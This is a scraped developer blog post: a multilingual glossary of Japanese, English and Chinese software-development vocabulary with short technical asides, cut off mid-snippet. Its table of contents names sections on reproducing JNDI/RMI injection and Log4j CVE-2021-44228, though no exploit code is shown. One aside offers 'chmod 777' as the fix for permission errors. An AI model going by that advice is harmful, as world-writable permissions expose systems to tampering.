admin 管理员组文章数量: 887021
原文:
工作中使用到的单词(软件开发)_http://42.62.43.136:8081/_sun0322的博客-CSDN博客
目录
■Java学习汇总
■常用链接
■2020/03/15 (最初整理 242个单词)
2020 6/28 整理
2020 6/29 整理
2020 7/6 整理
■2020 7/23 整理
■2020/10/07 以降整理
■2020/11/02 以降整理
■2020/12/04 以降整理
■2020/12/14以降整理
■2021/01/01以降整理
■2021/02/22以降整理
■匿名内部类,lambda表达式,JDK7新特性,等等java相关
■2021/03/18以降整理
Linux系统性能 相关
■其他各种单词,知识(linux awk sed)
■网络相关
■2021/03/29以降整理
■2021/4/1以降整理
40. RAS // ssh-keygen(linux 命令) // private key(私钥) , public key (公钥)
配置完之后
ssh user001@serverName // 不必再输入密码了
■2021/5/1以降整理
■2021/5/14以降整理
■2021/6/1以降整理
■2021/7/7以降整理
■2021/7/23以降整理
■2021/8/14以降整理(Java 学习)
■2021/9/1以降整理
■2021/9/13以降整理
■2021/10/06以降整理 (5G , SpringBoot)
5G
SpringBoot
■2021/11/06以降整理
HULFT
Git
GitHub
■2021/11/29以降整理
21.日语学习的三个方面
23.SLF4J(Simple logging Facade for Java) // 简单日志门面
26.JNDI 注入代码实现(RMI) --------Start
27.javax.naming.Reference // 构造方法
28.SimpleHTTPServer // (Python)快速共享目录
29.RMI的利用版本限制
36.Java不信任RMI的URL再次出错、解决、客户端(被攻击者)打开计算机成功
JNDI注入,再现具体操作
42.CVE-2021-44228 Impact of Log4j Vulnerability CVE-2021-44228
■2022/12/23以降整理
03. Git Merge 失败 // Eclipse中失败
■2022/01/01以降整理
・spring AOP
18.事务
■2021/7/23~2021/10/05之间(纯单词)
■2021/10/06~2021/11/28之间(纯单词)
■2021/11/29 ~2022/01/05之间(纯单词)
■2022/01/06以降
17.Java 23种设计模式
18.【代理模式】与【装饰者模式】区别
21.【Runnable、Future、FutureTask】继承关系【继承关系图】
23.【Runnable、Callable】与【ThreadPoolExecutor、ScheduledThreadPoolExecutor】 与【ExcutorService】
36.spring自动配置机制——spring.factories
@import
@EnableAutoConfiguration
@EnableAspectJAutoProxy
39.任何一个类只要没有成员变量,就是线程安全的
42.【Spring中这两个核心思想」都是一种设计模式(工厂,代理)
代理
51. AOP术语总结
■2022/01/06 至 2022/01/30之间整理 (纯单词)
■2022/02/01以降
■2022/02/23 以降整理
spring 学习 官网链接
Spring组件注册方式等相关内容
22.服务器配置相关
■2022/03/07 以降整理
12.MsgBox能不能自定义按钮名称?
■2022/02/01 至 2022/03/27之间整理 (纯单词)
■2022/03/28 以降
01.打印机(Canon IP1180)支持的墨盒型号
29.AR、VR、MR、XR
■2022_03/28~2022_05/18 间整理 (纯单词)
■2022/05/19 以降
1..BASIC 认证
浏览器相关知识1
19.Spring 版本查看
22.Liunx判断语句,文件类型,粘滞位(Sticky bit)
浏览器相关知识2
■2022/06/02 以降
■2022/05/19~2022/06/29纯单词整理
■2022/06/30 以降
7.Eclipse git 坑 // 非常 重要的设定 // core.autocrlf
■2022/07/22 以降
13.スポットライト Spotlight 聚焦 // win11 锁屏壁纸 //win11聚焦功能 无效 解决
■2022/08/01 以降
21.curl //Liunx中,比windows中,有更多参数可以使用
■2022/06/30~2022/08/11纯单词整理
■2022/08/12 以降
22.アジャイル勉強 Agale
■2022/08/12~2022/08/26纯单词整理
■2022/08/27以降
■2022/10/10以降
25.LDAP 中 DN 含义 :区分名(DN,Distinguished Name)
■2022/10/20以降
4.CORS
■2022/08/27~2022/10/25纯单词整理
■2022/10/26以降
■2022/11/23以降
函数式编程 (Java8新特性之一)
22.Rxjs // Angular
■2022/12/16以降
■2022/10/26~2022/12/31纯单词整理
■2023/01/01以降
32.日语字母发音
■2023/02/06以降
JPA
13.EJB-事务管理
■2023/01/01~2023/03/12纯单词整理
■2023/03/13以降
===
■Java学习汇总
Java8新特性学习_001_(Lambda表达式,函数式接口,方法引用,Stream类,Optional类)_sun0322的博客-CSDN博客
■常用链接
0.0.常用bat命令
常用 doc bat 命令总结_sun0322-CSDN博客
・Linux
Unix_Linux_常用命令总结_sun0322-CSDN博客
0.0.日语歌曲
https://blog.csdn/sxzlc/article/details/112185572
・java
命令行,使用java的java 命令,直接调用执行class文件_sun0322-CSDN博客_java 运行class文件
Java学习(更新中)_sun0322-CSDN博客
・Spring
SpringBoot + MyBatis 之 Hello World_sun0322-CSDN博客
Spring Boot,Sprint Batch 学习_sun0322-CSDN博客
SFDC
外部系统连接SFDC,获取SFDC侧的数据_sun0322-CSDN博客
■沪江日语
在线翻译_英语_日语_多语种翻译_沪江小D在线词典
■IT日语词典
「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
0.0.日本の県名 (与技术无关,只能设置为私密)
https://blog.csdn/sxzlc/article/details/105171503
0.2.常用单词总结之—个数 日期 月份(日语,英语) (与技术无关,只能设置为私密)
https://blog.csdn/sxzlc/article/details/105319482
0.3.柔らかいコミュニケーション
工作方式 柔らかいコミュニケーション_sun0322-CSDN博客
0.4.数字の計算関連 (与技术无关,只能设置为私密)
https://blog.csdn/sxzlc/article/details/105408517
0.5.SQL関連の用語
SQL日语词汇 - fqzhang - 博客园
06.各种分类 (私密)
https://blog.csdn/sxzlc/article/details/108765747
07.形容动词的用法 (私密)
https://blog.csdn/sxzlc/article/details/108972442
08.格助词「を」「は」「が」 (私密)
https://blog.csdn/sxzlc/article/details/108973940
----------
■2020/03/15 (最初整理 242个单词)
0.CWE 脆弱性分析
代码安全_弱点(脆弱性)分析 CWE_20200807_sun0322-CSDN博客
1.エイリアス
alias 别名 powershell使用 get-help 命令时,会得到与此命令 相关(别名)的命令
シノニム(同义词)
2.プロキシ proxy 代 理
3.プロモート
promote 促进,提升
开发的系统新功能上线发布,有时会使用到这个词,比如 STプロモート
还有使用リリース这个词的。比如STリリース。个人认为两者含义相同。
4.見逃し みのがし 看漏
5.フリガナ 注音假名 Excel 中有此功能 在 Excel 的 Home(ホーム)タブ中
6.ハッシュ(MD5、SHA1、SHA256) アルゴリズム
hash algorithm 算法 [ˈælɡəˌrɪðəm]
ls -recurse -file | Get-FileHash -Algorithm MD5| Format-List powershell查看文件信息摘要时,会出现这个单词
// 对于MD5 ,日本人一般说 MD five (也许英文和数字组合时,数字部分他们喜欢使用英语)
查看文件信息摘要_sun0322-CSDN博客_怎么看文件摘要
7.错 :インテレーション (正确写法 :イテレーション)
错 Interation 正确写法 :iteration 迭代 アジャイル開発時、常に使用
iteration 英 [ɪtəˈreɪʃən] n. 迭代;反复,重复
8.MVP :Minimum Viale Product アジャイル開発関連の定義 (开发团队提供最小化可行性产品)
お客様様に、速めに価値を提供するために、MVPを提供しながら続き改善を行う。
9.デプロイ deploy 系统发布 (STリリース、STプロモート、STデプロイ)
10.やむを得ない 处于无奈,不得不。有时为了实现客户提出的要求,不得不采取某些方案
11.プラスティス 实践,实施
12.オーダー 顺序。 有时日本人不和你说 优先对应什么的,
当两个作业需要连续对应,并且之间有相关联关系的时候,他们使用这个词。
13.トレーサビリティ traceability 跟踪性
要件トレーサビリティ (要件是否都反映到SRD中)
各QAのトレーサビリティ(QA是否都反映到SRD中、Build・UT、ST)
14.フィージビリティー feasibility 可行性
フィージビリティ確認 (有的时候,要确认用户提出的需求,在技术上能否实现)
15.ユーザビリティ 可用性 (IT用语,人机交互中的可用性。)
我们在给用户提出解决方案的时候,要考虑 可用性。
16.見込み みこみ 预计 预估
17.コマンドプロンプト command prompt 命令行提示符
18.デマンド demand 要求
19.リスケ (リスケジュール の 略)
20.網羅 もうら
21.競合 きょうごう
22.脆弱性 ぜいじゃくせい CWE Common Weakness Enumeration
CWE(Common Weakness Enumeration,通用缺陷枚举)。是由美国国土安全部国家计算机安全部门资助的软件安全战略性项目。
CWE成立于2006年,建立之初分别借鉴了来自CVE(“Common Vulnerabilities & Exposures”公共漏洞和暴露)
CLASP(Comprehensive Lightweight Application Security Process,全面轻量级应用安全过程)等组织对缺陷概念描述和缺陷分类。
CVE(“Common Vulnerabilities & Exposures”公共漏洞和暴露) [ɪkˈspəʊʒə]
Exposures n. 暴露;揭露;陈列;曝光
23.攻撃 こうげき
24.インジェクション injection 注入
25.ディレクトリ トラバーサル directory traversal 目录遍历
26.アルファベット alphabet 字母表
27.チャット chat 聊天
28.雑音 ざつおん ノイズ(杂音,噪音)
29.チャート 图表(グラフ)
30.末尾 まつび
31.枯渇 こかつ XX番号枯渇
32.フェーズ phase 时期,开发过程中的阶段
33.簡略化 かんりゃくか
エビデンスの作成を簡略化になる
34.インストーラ 电脑软件的安装程序
35.退避 たいひ データを退避する。/数据保存
36.後回し 推迟,往后推,缓办
優先順位が低いものは後回しだ
37.V字モデル ウォーターフォールモデル 瀑布开发中,的V字模型
扩展 W字模型
软件测试的W模型和V模型_小心眼儿猫的博客-CSDN博客_软件测试w模型
软件开发中的V字模型与W模型(使开发与侧试分离)_sun0322-CSDN博客
38.エクセレンス excellence 长处
2020 6/28 整理
100.スペシャリスト Specialist 专业人员,专家
101.ドラフト draft 草稿,草案
102.インフラ 公共基础设施 (比如,环境的磁盘大小)
103.マスキング masking 遮蔽,屏蔽 (比如,帳票中,****** 一些敏感信息,不显示)
104.マスク mask 口罩
105.こめじるし 米印 記号:「※」
106.ジェネリック generic 泛型 (java);一般的,通用的(其他含义)
107.かしらもじ 頭文字
頭のアルファベット3文字 (比如,番号 ABBXXXX,ABCXXXX)
108.マトリックス matrix 矩阵
109.モデル model 模型
(比如,V-model)
110.モジュール module 模块,组件
111.モード mode 模式,方式
112.悲観 (ひかん) Lock ; Pessimistic
113.楽観 (らっかん)Lock ; Optimistic Locking オプティミスティック・ロック
114.PT pressure test 压力测试 (一般,压力测试,多用户同时操作时,会触发锁的问题)
115.目途 もくと 目标 // 目途 めど (两种读法,意思相同)
116.バックログ backlog 敏捷开发中的代办列表
117.ごこく 後刻 (例、後刻確認します。)
118.のちほど 後程 (例、後程確認します。)
119.清音 せいおん (あ い う 。。。)
120.濁音 だくおん (が、だ、ば 。。。)
半濁音 (はんだくおん) (ぽ、ぴ、ぷ)
semi - voiced sound
121.拗音 ようおん 「い」段假名 和 复元音 や、ゆ、よ 拼起来
122.箇所 かしょ 处。个。用于计算地方、部分时的量词
123.はいけいしょく 背景色(しょく)
124.ツリー tree
125.phish 钓鱼网站的钓鱼行为
126.secure 安全的
shell 壳 (用于区别核) 为使用者提供操作界面的软件
ssh secure shell
127.OEM 原始设备制造商 Original Equipment Manufacturer
2020 6/29 整理
128.ウィザード wizards 术士,男巫;先导,天才;
excel 中,导入csv的数据,使用「テキストファイル ウィザード」
129.Hex Hexadecimal 十六进制 a=0x1A // 开头是数字0
130.Dec Decimal 十进制 a =10
131.Oct Octal 八进制 a=012 // 开头是数字0
132.Binary
133.recurse 递归
powershell 中 ls -recurse -file | get-filehash
134.resource
135.source 出处;来源;
source code ソースコード 源代码
136.course 进程;课程
137.traversal 遍历
138. ロックアウト lockout; 关在门外,不许进来
IT:DB2用户被lock时,アカウントのロックアウト
139.掲題 けいだい メールについて件名を目指す
掲題の件について、ご確認させてください。(命令形,适用于甲方使用)
140.直前 ちょくぜん 即将。。。之前
出発直前に病気で倒れた。
141.恒久 こうきゅう
142.大まか おおまか 粗略,草率,大大咧咧
Samba AMB に対して、
大まかに言うと、UNIXサーバーをWindowsたおファイル共有可能なサーバーとする機能のことです。
143.メインフレーム 主机,大机 (Main Frame) ⇒ IBM大型机
COBOL
144.気にする 介意,担心
145.気づく 注意到,察觉
146.気がする 心里感到,好像,总觉得
147.EUC 一种文字编码
Extended Unix Code
148. EUC-JP
日文半角假名占用2个字节 chcp 20932
Unix ,Linux ,Solairs(Sun ) 中使用的文字编码
Shift-JIS 日文半角假名占用1个字节 (0xA1 ~ 0xDF)
149.MAC Macintosh 麦金塔电脑 (苹果)
150.KLOC 千行代码 Kilometer Lines Of Code
151.KPI 关键绩效指标 (根据KLOC和Bug数来计算) Key PerFormance Indicator
152.抜け漏れ ぬけもれ (手落ち ておち) 疏漏,遗漏
153.Stage 阶段 (Stage1, Stage2, Stage3) ステージ
154.ステージング 演出,舞台 staging
155.测试环境分类,测试分类,设计书分类
UT (DD) ⇒ IT(Integration )(HLD(ED)) ⇒ ST(System) (SRD)
⇒ STG (staging 本番同等环境 ) でUAT(User Acceptance)(URD) ⇒ 本番
integrated 综合的,集成的
Integration 综合,集成
disaster 灾害 災害環境(さいがい) 紧急情况下,使用此环境
product 产品 本番環境
156.自粛 じしゅく 自己克制
157.自律 じりつ
158.特則 とくそく
159.喫煙 きつえん
股票
---
160.Puchase 购买
161.Withdarw 撤销
162.Enroll 参加,登记
163.fracional 分数的,小数的
164.shares 股份 // stock 股票,股份
165.refunded 归还
borker n. 经纪人,代理商
个人链接(私密)
https://blog.csdn/sxzlc/article/details/108571696
// morgan 摩根
---
166. つゆ ばいう 梅雨
167. 五月雨 さみだれ
168.インストーラ 安装程序
169.Delivery 投递,传送,交付,转让
170.Appendix 附录 付録 ふろく
[əˈpɛndɪks]
171.御中 おんちゅう
。。。收;。。。公启;(郵便物など) A社御中
172.プロバイダー Provider 接入商 (Eclipse plugin 中可以经常看到,插件的 Provider)
173.下旬 げじゅん ;中旬 ちゅうじゅん; 上旬 じょうじゅん
174.ペーパレス paperless 无纸化 ;无纸传输信息
175.アソシエイツ associate 合伙人 募集人
176. wechate ウィーチャット
177.貸出 かしだし 仕様書貸出
178.内訳 うちわけ :明細 めいさい
(使用明细的比较多,和日方说 内訳、他没有理解我的意思)
179.クレジットカード 信用卡
180.とは言え 虽然那么说,尽管那样
---
2020 7/6 整理
201.DPI 水平方向解析度 (没一英寸有多少个 像素点 一英寸 2.54厘米)
202.Threshold
境界値 きょうかいち (競合 きょうごう)
203.イーサネット Ethernet 以太网
204.アダプター adapter 适配器
205.アシスタント assistant 助手
(邮件 日程计划中 スケジュール アシスタント)
206.手軽 てがる
207.初耳 はつみみ
208.サスペンド suspend 挂起 // hanging-up
209.呼称 こしょう
以後(いご)は「XXX」とこしょう
210.内訳 うちわけ
211.白黒閾値
Threshold 边界
212.protocol プロトコル 协议
213.vertical 垂直的
vlookup hlookup
214.horizontal 水平的
215.簡潔 かんけつ
216.omit 省略 しょうりゃく
217.滞留 たいりゅう
218.蓄積 ちくせき
219.重み 权重
220.モジュラス 模数
最后一位,check位 チェックデジット
221.マイナー 小的
222.メジャー major 大的
223.定める さだめる 选定,决定
224.カテル 诊断记录,病例
225.桁埋め 电文中,不足的位数,补位操作
226.逼迫 ひっぱく
227.帯 おび
緑の帯内の文字表示について、
228.のびる 伸びる 延びる
延伸 えんしん;時間や距離などをのばすこと。または、延びること
229.に沿って にそって
230.データをパンチする。 导入数据
231.棚卸し たなおろし 盘点
232.取り直す とりなおす 修正后在做某事
233.パーミッション permission 许可
Linux 系统中, Permission Denied ;没有访问权限后,chmod 777
許可がありません。
denied [dɪˈnaɪd] She denied the accusations. 她否认了这些指控。
deny [di'nai] v. 否定,否认;拒绝给予;节制;戒绝;不承认
・オーナー
・グループ
・権限 777 (750 755)文件夹 (644 640)文件
目录权限已经是744 其他用户仍不能访问目录 ↓
Unix_Linux_常用命令总结_sun0322-CSDN博客
234.denied 否认,拒绝
235.予め あらかじめ
236.アーキ アーキテクチャ 建筑,结构 architecture
软件开发中,一般指环境构建。
アーキチーム;一般指,环境基盘组。
237.AI 人工智能
Artificial 人造的 Intelligent 智能的
[ˌɑːtɪˈfɪʃəl] [ɪnˈtɛlədʒənt]
238.スレッド Thread 线程
239.defect 缺陷
エントリー不正、フセンリスト
240.normal 正常的,标准的
241.昇順 しょうじゅん
242.降順 こうじゅん
---
■2020 7/23 整理
1.ロードバラン 负载平衡
2.エントリー 登记,登记册;申请报名
entry 入场,入口
3.ベリファイ 检证器
verify v. 证实,核实;作证,查证;核对 [ˈvɛrɪˌfaɪ]
// validator 英 [ˈvælɪdeɪtə]
// 验证控件; 验证器; 校验器; 验证; 验证程序;
Linux 认证 , 两个文件的MD5 对比校验
4.Repository リポジトリ 或者 レポジトリ
maven,git
5.Elastic
[iˈlæstɪk] 灵活的
Sorter (从事分类的人,把东西分类拣选的人,整理者,分类程序,分类机)
6.Jenkins
块(blocks{})
由大括号括起来的语句,如pipeline{},Section{},parameters{},script{}
章节(Sections)
通常包含一个或多个指令或步骤。如 agent 、post、stages、steps
指令(Directives)
environment、options、parameters、triggers(触发)、stage、tools、when
步骤(Steps)
Pipeline steps reference
执行脚本式pipeline:使用script{}
7.タイムチャート 时间图
8.コンティンジェンシー 略称 コンチ
contingency ;意外事故,意外事件,突发状况,偶然。
9.exclusions 排除; maven pom 引用jar时
10.excludes 不包括;maven pom 根据prefile 指定不同环境的配置文件时
exclude [ɪkˈskluːd]
11.executions 执行; maven pom 执行打包命令 中的 plugin 中使用
12.classifying 分类 [ˈklæsɪfaɪɪŋ] v. 将…分类; 将…归类; 划分; 界定;
13.yml (Spring 配置文件(key: value),可以分层)
java 中 使用 @Value("{key}")
java 中 使用 @Value("{key1.key2.key3}")
SpringBoot配置-读取 .yml配置文件_总该长大了的博客-CSDN博客_springboot读取yml配置文件
14.RestTemplate (Spring 发送http请求)
15.lambda [ˈlæmdə]
希腊字母表的第11个字母 (Lambda一般指λ。希腊字母表中排序第十一位的字母,大写为Λ)
Java 8 Lambda 表达式 Java 8 新特性
Java8 Lambda表达式教程_io-CSDN博客_java lambda表达式
java8之lambda表达式_xiaoye的博客-CSDN博客_java8 lambda
16.parameter是形参,体现在函数定义中,当出现在整个函数内都是可以使用的, 要是离开该函数则不能使用
17.argument是实参,体现在主调函数中,当进入被调函数后,实参变量也不能使用
比如,mysql -u
后面不写,root
出错误提示 option -‘u' requires an argument
18.置き おき
每间隔,每隔。(時間、距離、数量などを表す語に付いて、それだけの間隔をおくことを表す語。)
バッチ起動 08:00~23:00 ※1分おき
日間 9:00~23:30 30分/1回 28回
1日置きに風呂に入る
この薬は4時間置きに呑みます
19.launch 发射,发行
eclipse中,配置「事項構成」保存后,文件的后缀是 .launch
// 此文件 在 工程的 【.settings】目录下面
Maven中的pom.properties文件_sun0322-CSDN博客
20. 数据库相关
・トリガー : trigger
・スキーマ: schema
・プロシージャ : procedure
・ビュー :view
21.仕分け 区分,分类
・sort n. 种类,类型;人 v. 将事物分类
区别・sorting n.排序 v. 将事物分类(sort的现在分词)
・メールの【仕分けルール】
22. 振り分け 分开;分成两个 (振分)
分割 (ぶんかつ)
23.差し替え (差替) // replacement
(印刷)校样改错,改版。
(活版組版で、校正の指定に従って、組版の誤植や組み違いを正すため活字の取り替え)
24. RPA “Robotic Process Automation”
机器人流程自动化
25.OCR (Optical Character Recognition,光学字符识别)
・Optical [ˈɑptɪkəl] 眼睛的,视觉的;光学的
・Recognition [ˌrɛkəgˈnɪʃən] 认出,识别;
26. ServiceNow
ServiceNow主要模块介绍_weixin_34380948的博客-CSDN博客
Looking for a workflow automation or BPM suite。
27.表裏 おもてうら
28. 表 おもて (表面,面儿,正面;外表,外观;)
29.国慶節 こっけいせつ
30. delimiter 定界符
${XXX} @XXX@
POM 环境差异文件 SpringBoot true
在 命令行 (cmd)执行 Maven命令,对java工程进行打包 操作 (指定settings.xml)_sun0322-CSDN博客_libjansi.jnilib
・mysql中也有此关键字
命令行下,Mysql、Postgre的一些基本操作_sun0322-CSDN博客_postgre
・bat中也有此关键字:delims
for /f "delims=" %%i in ('dir /b /s %inputdir%\*.txt') do xcopy /Y %%i %outputdir%
---
for /f "tokens=5 delims=\\" %%I in ('dir /b /s C:\test\temp\*66.txt') do echo %%I
---
31.リグレッションテスト 回帰テスト
32. レトロ マージ 競合(きょうごう) GIT
33. 随時 (ずいじ)
XXXX資料 ※随時更新 // 文档记述时, 红字部分,比前面的字,小一个字号,效果更佳
// 日文中, 有「随時更新」这种说法
34. 迷惑 めいわく
人に迷惑をかける。
给别人添麻烦
35.困惑 こんわく
困惑,不知如何是好,为难。
困って(こまって)
36. に近づく にちかづく 靠近
人数は100万人に近づている。 人数正在接近100万人。
37.鴨 かも 野鸭
38. アヒル 鸭子
39.鷗 かもめ
40. Assurance [əˈʃʊərəns] 保证,担保;确信;断言;保险;
41.意図 いと // 不是 いず
42.マルチ
【接头】multi-;表示多、各种各样、复数之意。
マルチデバイス (多浏览器)
43.コンテキスト (context)上下文,文章的前后关系,文脉.上下文,文章的前后关系,文脉
44.mysql (my.ini myf /etc/myf)
server-id = 1 // ロードバラン
datadir = /XXX/XX/mysql/data
45.世代 せだい
46.日報 にっぽう
47.オンプレミス環境 on premise environment 前提环境
48.シノニム
Oracle数据库 【SYNONYM 同义词 シノニム】_sun0322-CSDN博客_シノニム
oracle,mysql 别名(同义词) ;SYNONYM 同义词 シノニム
エイリアス 别名
49.word wrap
自动换行 : notepad2 中有此设置; css 中也有此设置
■2020/10/07 以降整理
0. 噛み合う かみあう 一致,吻合
噛む かむ 咬
1.assembly 与会者;集会;议会;配件 maven中的插件 可以把资源直接生成zip
Maven的帮助文档ー查看各个插件的作用--- 【maven-assembly-plugin】_sun0322-CSDN博客
2.dictionary 字典 [ˈdɪkʃənərɪ] // 辞書 じしょ //ディクショナリー
VBA中有,XL Deploy Tool中也有相关定义
VBA中 各种数据类型的使用(自定义数据类型Type,数组,数据字典)_sun0322-CSDN博客
3.Environment [ɪnˈvaɪrənmənt] 环境
4.インビテーション 招待、邀请; invitation 电话会议时,邀请对方
5.distribution [ˌdɪstrɪˈbjuːʃn]
分配; 分布; 分发; 分送; (商品) 运销,经销,分销;
Distribution 是 Docker 的工具包,它可以打包、运输、储存、发送内容。
6.推奨 すいしょう 推荐 非推奨 ひすいしょう
7.齟齬 そご 不一致 認識齟齬がない
8.満たす
以下条件のうちいずれかを満たす場合、
9.具体的には
具体的なこと
10.極小化 きょくしょうか
XXXとなるケースを極小化する必要がある
11.出し分け // 没有这个词 条件によって表示する。(分岐がある)
12.infrastructure [ˈɪnfrəˌstrʌktʃə] インフラストラクチャ
インフラ 基础设施;基础建设
13. Credential n. 证书;凭据;国书;信任状 英 [krɪˈdɛnʃəl] クレデンシャル //XL Deploy ツール
↑ 不同的单词 Certificate Authority HTTPS 中的CA证书 证明,证书 英 [səˈtɪfɪkɪt; səˈtɪfɪˌkeɪt]
14. authority n. 权力;行政管理机构;当局;当权者; [ɔːˈθɒrɪtɪ]
15.グルーピング
【他动・三类】【英】grouping ;分组(类);编组。(組分けすること。配置すること。)
16.コンポーネント component
成分;部件;构件;组件(構成要素。構成部品)。
17.deployment n. 部署,调度
deploy v. 使展开;部署;利用 デプロイ
18. 图形用户界面(Graphical User Interface)
19.cluster クラスター (群,簇;区 ,扇区。)
Web Sphere (WAS) 中的定义
Java中的System.getProperty()设置参数的方法_sun0322-CSDN博客
20.における (表示时间、地点等)在,于,在……的。
((連体修飾語として用いて)動作・作用の行われる場所・時間などを表す。
21.命名 めいめい
ネーミング naming
22.Orchestrator 组织者,策划人
23.dependency 依赖
24.resolution 分解,解析;
25. archive アーカイブ 档案馆,档案库;档案文件 [ˈɑːkaɪv] // jar
26. 型 かた 種類 XXX(war,file,archive) 型資材
かたち 形
27.冪等性 べきとうせい
28.ループ loop 循环
29.グルーピング 分组 組み分け くみわけ
30.Duplicate 复制品;重复 [ˈdjuːplɪkɪt; ˈdjuːplɪˌkeɪt] // XL Deploy 复制项目;// 数据库,不能重复的字段重复
31.確率 かくりつ 概率
頻度 ひんど
32.AWS 亚马逊 云服务
33.VGA 显示器接口 (15针)
・DVI (24针)
・HDMI
・DP (有一边是直角)
34.蜜蜂 みつばち
35.蜂蜜 はちみつ
36.峯岸 峰岸 みねぎし
37.トンボ 蜻蜓
38.スクロール 滚动显示
39.デカルト積 (Descartes product)
假设集合 A={a,b},集合 B={0,1,2},则两 个集合的笛卡尔积为{(a,0),(a,1),(a,2),(b,0),(b,1), (b,2)}。
積 せき 3かける3の積(せき) 面積 体積 容積
https://blog.csdn/sxzlc/article/details/105408517
Excel 公式
PRODUCT(A1,B1,C1)乘法运算
PRODUCT (n. 产品;产物;结果;乘积;生成物)
40.指数 しすう
41.adjustment [əˈdʒʌstmənt] 调整 调节
42.懸念 けねん xuannian
43.懸賞 けんしょう
44.経験 けいけん
45. Authorization: Basic U2h1c2hlbmcwMDcldUZGMUFzczAwNw==
秒懂HTTP之基本认证(Basic Authentication)_ShuSheng007的程序人生-CSDN博客
假设我的用户名为Shusheng007,
密码为ss007
那么我的Basic的内容为
Shusheng007:ss007
对应的base64 编码内容U2h1c2hlbmcwMDc6c3MwMDc=
// 冒号应该是半角冒号「:」
在线加密解密
↑ base64编码转换
・input
Shusheng007:ss007
・output
U2h1c2hlbmcwMDc6c3MwMDc=
curl -u
-u参数用来设置服务器认证的用户名和密码
curl -u 'bob:12345' https://google/login
上面命令设置用户名为bob,密码为12345,
然后将其转为 HTTP 标头Authorization: Basic Ym9iOjEyMzQ1
46. encrypt [ɪnˈkrɪpt]
v. 把…加密(或编码)
47.障害
今後漏れが検知されば場合に障害等の扱いにはしたくない。
// 扱い (操作,处理; 对待)
// 障害等 しょうがいとう
48.差分 さぶん
ファイルやプログラムなどの、
変更前と変更後の違いのことをいう。
プログラムの修正などでは修正分のことを指す。
49.はんざつ 煩雑
50.tag タグ (tags) tag 比较常用 【タグ】
・Git 关联 : 在 HIstory(提交履历)中,右键履历,选择【タグの作成】
・GitHub 关联:登录GitHub网页版,选择一个【Repositories】
⇒【releases】
⇒【Releases|Tags】
・GitHub 关联:GitHub提供的 WebAPI 中,有 tag的指定
・XL Deploy ツール:有关于 tags的指定
51.tab タブ
// Tab 是 tabulator 的缩写,有制表的含义;tag指标记;标签。
// Tag 范围比较广泛,可以指吊牌,品牌宣传,衣料说明,价格标之类,而tab往往指图形标签。
52.ちゃう 「てしまう」の略語
53.しまう ①完了,结束。②整理收拾
てしまう。①完了,尽了,表示动作的完了就,结束。②表示某事的非志愿发生
54.眼差し まなざし 眼光,眼神
55.目覚まし めざまし ①叫醒 ②闹钟
56.マウント mount 挂载 // 文件系统的挂载
// Linux df -h Mounted on | マウント位置
Linux下,mount挂载的作用,就是将一个设备(通常是存储设备)挂接到一个已存在的目录上。
访问这个目录就是访问该存储设备。
/dev/mapper/xxxx_lv サイズ 使用 残り 使用% /DATA/AAA/BBB
---
lv 代表磁盘卷的意思
logical volume
---
访问 /DATA/AAA/BBB 这个目录,就相当于访问存储设备【/dev/mapper/xxxx_lv】
// Docker 挂载
57.escape character 转义字符
echo \"AAA\",\"BBB\" > test.txt
"AAA","BBB"
58.テレカン //虽然字典中找不到,但是,实际存在这个词
telephone conference 电话会议的意思
59.Windows 三种文件系统:NTFS、FAT32、FAT16
60.Linux 文件系统 「XFS filesystem」
file -s /dev/sda1
61.プラチナ 铂金
62.回復 身体恢复 // 不使用 恢复
63.ゾーン zone 区域 地带
64.ファイヤーウォール firewall 略称 FW 防火墙
65.圧縮 あっしゅく 解凍 かいとう
66.サマリー summary 摘要,概要
67.タイムスタンプ timestamp 时间戳
68.タイムゾーン time zone 时区
69.容器 コンテナ container | Tocmat WebSphere | Docker
70. digital 数字的 [ˈdɪdʒɪtəl] digital.ai
71. xebiaLabs XL Deploy
Digital.ai documentation | Intelligent Value Stream Management Platform
Digital.ai documentation | Intelligent Value Stream Management Platform
72. regex //XL Deploy ツール
正则表达式的简称 (= regular expression)
正規表現 [せいきひょうげん]
73. placeholder /ˈpleɪsˌhəʊldə/ 占位符 【数学;逻辑】 //XL Deploy ツール
74.hold ホールド
n. 控制;握住;保留
v. 拿住,握住;保留;保持不变,持续;约束,控制;拘留;容纳;持有;适用
A-AUTOバッチ管理ツール(HOLD之后,如何再次启动)_sun0322-CSDN博客
75. 下划线 underbar アンダーバー
76. 疑問符 ぎもんふ 问号
77. hyphen ハイフン 连字符
78.artifact /ˈɑːtɪˌfækt/ n. 手工艺品,加工品 //XL Deploy ツール
79.restrict [rɪˈstrɪkt] 限制,限定,约束,阻碍 V //XL Deploy ツール dictionary (restrict to containers/applications )
80.restriction [rɪˈstrɪkʃən] n. 限制;约束 //XL Deploy ツール dictionary
81. Entries 【计算机】输入项目 //XL Deploy ツール dictionary Key-value
entry 进入,入场
■2020/11/02 以降整理
1posite n.合成物,复合材料 ; adj 合成的,复合的; //XL Deploy ツール
2.シスコ cisco 思科
3.リハーサル 彩排
4.provision 提供 //XL Deploy ツール
5.ArtiFactory 代码库管理 (有好多种,比如 JFrog ArtiFactory)
DevOps使用到的工具・术语_sun0322-CSDN博客
6.asset 有价值的人或物,有利条件,优点;资产 [ˈæset] アセット // git hub
7.octet [ɔk'tet] 八位组,八比特组,八位字节
binary (application/octet-stream)
HTTP请求中,几种常见的Content-Type类型 - applezxy - 博客园
8.generate 产生;形成,引起 [ˈdʒɛnəˌreɪt]
generate token // git hub
( 用户 setting --- Developer settings ---- Personal access tokens)
9.Devops
DevOps(Development和Operations的组合词)
它是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化
DevOps使用到的工具・术语_sun0322-CSDN博客
10.トークン token
11.レガシー 遗留软件
企業で長期間使用されたきたコンピューターソフトウエアで、高価なため維持が難しいが、業務上不可欠であるものをいう。)
// Excel の「ブックの共有(レガシ)」
怎么解决EXCEL 共享变成灰色的“取消共享工作簿”_fanxin_i的博客-CSDN博客
12.wave 波浪
13.立ち上げ
(电脑、程序)启动;成立、设立。
TeraTermは同時に2画面立ち上げ // 同时启动两个 TeraTerm
14.slash [slæʃ] // maven assembly (starting with slash) /
Maven打包ERROR OS=Windows and the assembly descriptor contains a *nix-specific root-relative-reference_刘德华一不小心就打代码的博客-CSDN博客
// n. 砍;砍痕,伤痕;斜杠;斜线号;沼泽低地;削减
https://wwwblogs/softidea/p/4186090.html
The working solution is to specify the empty outputDirectory:
<fileSets>
<fileSet>
